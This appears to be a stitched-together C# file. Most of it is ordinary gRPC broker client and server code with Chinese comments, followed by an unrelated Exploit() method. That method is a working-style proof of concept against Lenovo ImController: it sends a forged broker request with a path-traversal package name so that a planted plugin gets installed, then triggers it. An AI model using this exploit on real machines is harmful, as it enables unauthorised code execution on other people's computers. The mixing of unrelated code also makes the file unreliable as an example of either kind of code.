/// <summary>
/// 处理器
/// </summary>
/// <param name="input"></param>
/// <returns></returns>
public string Invoke(Dictionary <string, string> input)
{
string output;
//失败计数器 N次 就直接返回异常
int error = 0;
reStart:
try
{
BrokerRequest brokerRequest = new BrokerRequest();
brokerRequest.Input.Add(input);
output = transport.Client.broker(request: brokerRequest, options: transport.TimeOut.GetCallOptions()).Reply; //如果连接不可用，会报IO异常(重试)
}
catch (Exception ex)
{
if (ex is RpcException)//连接不可用的时候 直接销毁 从新从连接池拿
{
var sEx = (RpcException)ex;
if (sEx.StatusCode == StatusCode.Unavailable || sEx.StatusCode == StatusCode.Aborted)
{
error++;
if (error == 100) //累计3 拿不到有效连接 抛出异常 移除（此值 只是一个参考）
{
GrpcFactory.RemoveServicePool(id);
throw sEx;
}
GrpcFactory.ReturnInstance(transport, id); //归还有问题链接
transport = GrpcFactory.BorrowInstance(id);
goto reStart;
}
else if (sEx.StatusCode == StatusCode.DeadlineExceeded)
{
GrpcFactory.ReturnInstance(transport, id); //归还有问题链接
}
}
throw ex;
}
return(output);
}
public override Task <BrokerReply> broker(BrokerRequest request, ServerCallContext context)
{
return(Task.Run(() => {
BrokerReply reply = new BrokerReply();
ActionResult actionResult = null;
try
{
Dictionary <string, string> input = new Dictionary <string, string>(request.Input);
actionResult = Engine.Transmit(input);
}
catch (Exception ex)
{ //记录异常日志
actionResult = new ActionResult
{
Msg = ex.InnerException.Message
};
}
reply.Reply = JsonConvert.SerializeObject(actionResult);
return reply;
}));
}
public override Task <BrokerReply> Invoke(BrokerRequest request, ServerCallContext context)
{
return(Task.Run(() =>
{
BrokerReply reply = new BrokerReply();
var input = new Dictionary <string, string>(request.Input);
BaseAdapter adapter;
string rlt;
try
{
if (input.ContainsKey(StorageCommand.COMMAND))
{
var command = input[StorageCommand.COMMAND];
switch (command)
{
case StorageCommand.KVCOMMAND:
adapter = new KvStorageAdapter();
break;
default:
adapter = new ApiDocStorageAdapter();
break;
}
rlt = adapter.Invoke(input);
}
else
{
rlt = FailMessage("未知指令,参考[Anno.Rpc.Storage.StorageCommand]下指令。");
}
}
catch (Exception ex)
{
rlt = FailMessage(ex.Message);
}
reply.Reply = rlt;
return reply;
}));
}
public async void Exploit()
{
Console.WriteLine("[+] Preparing exploitable plugin package");
PrepareFolders();
Console.WriteLine("[+] Setting up requred BrokerResponseAgent");
InstanceContainer instance = InstanceContainer.GetInstance();
instance.RegisterInstance <IBrokerResponseAgent>(BrokerResponseAgent.GetInstance());
instance.RegisterInstance <IPluginManager>(PluginManager.GetInstance());
Console.WriteLine("[+] Setting up UDMF driver agent");
_deviceAgent = DeviceDriverAgent.GetInstance();
if (_deviceAgent == null)
{
Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?");
return;
}
BrokerRequest breq = new BrokerRequest();
breq.Version = "1";
breq.Authentication = new BrokerAuthentication();
breq.Authentication.Token = "pwned";
breq.BrokerRequirements = new BrokerRequirements();
breq.BrokerRequirements.MinVersion = "1";
string contractRequestParameter = @"
<InstallPendingRequest>
<PackageList>
<Package name=""..\..\..\LenovoAppScenarioPluginSystem""/>
</PackageList>
</InstallPendingRequest>";
breq.ContractRequest = new ContractRequest {
Command = new ContractCommandRequest {
Name = "Install-PendingUpdates",
Parameter = contractRequestParameter,
RequestType = "sync"
},
Name = "ImController"
};
Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest");
BrokerResponse br = await sendBrokerRequest(breq);
if (br.Result != "Success")
{
Console.WriteLine("[!] Request for Install-PendingUpdates failed");
return;
}
Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes");
Thread.Sleep(5000);
while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_"))
{
Thread.Sleep(1000);
}
Thread.Sleep(1000);
Console.WriteLine("[+] Package delivered!");
Console.WriteLine("[+] Making plugin request to trigger exploit");
breq.ContractRequest = new ContractRequest {
Command = new ContractCommandRequest {
Name = "Get-TouchScreenState",
Parameter = null,
RequestType = "sync"
},
Name = "SystemManagement.AppScenario.System"
};
br = await sendBrokerRequest(breq);
Console.WriteLine("[+] Enjoy");
}
